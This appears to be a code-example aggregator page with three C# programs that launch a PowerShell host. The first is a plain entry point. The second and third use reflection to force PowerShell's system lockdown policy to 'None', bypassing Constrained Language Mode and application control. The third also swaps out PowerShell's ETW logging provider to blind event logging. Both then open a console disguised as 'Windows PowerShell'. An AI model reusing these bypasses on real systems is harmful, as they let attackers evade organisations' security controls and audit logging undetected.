示例#1
0
        public static int Main(string[] args)
        {
#if UNIX
            AttemptExecPwshLogin(args);
#endif
            return(UnmanagedPSEntry.Start(args, args.Length));
        }
示例#2
0
        static void Main(string[] args)
        {
            try
            {
                var fi = typeof(SystemPolicy).GetField("systemLockdownPolicy",
                                                       BindingFlags.NonPublic | BindingFlags.Static);
                fi.SetValue(null, SystemEnforcementMode.None);

                AllocConsole();
                SetConsoleTitle("Windows Powershell");
                SetIcon();
                UnmanagedPSEntry ps = new UnmanagedPSEntry();
                ps.Start(null, args);
                Environment.Exit(0);
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
            }
        }
示例#3
0
        static void Main(string[] args)
        {
            try
            {
                string Command = @"Start-Sleep 1";

                using (PowerShell powerShellInstance = PowerShell.Create())
                {
                    var psEtwLogProvider = powerShellInstance.GetType().Assembly.GetType("System.Management.Automation.Tracing.PSEtwLogProvider");
                    if (psEtwLogProvider != null)
                    {
                        var etwProvider   = psEtwLogProvider.GetField("etwProvider", BindingFlags.NonPublic | BindingFlags.Static);
                        var eventProvider = new System.Diagnostics.Eventing.EventProvider(Guid.NewGuid());
                        etwProvider.SetValue(null, eventProvider);
                    }

                    var fi = typeof(SystemPolicy).GetField("systemLockdownPolicy", BindingFlags.NonPublic | BindingFlags.Static);
                    fi.SetValue(null, SystemEnforcementMode.None);

                    powerShellInstance.AddScript(Command);
                    powerShellInstance.Invoke();
                }

                AllocConsole();
                SetConsoleTitle("Windows PowerShell");
                SetIcon();
                var ps = new UnmanagedPSEntry();

                ps.Start(null, args);
                Environment.Exit(0);
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
            }
        }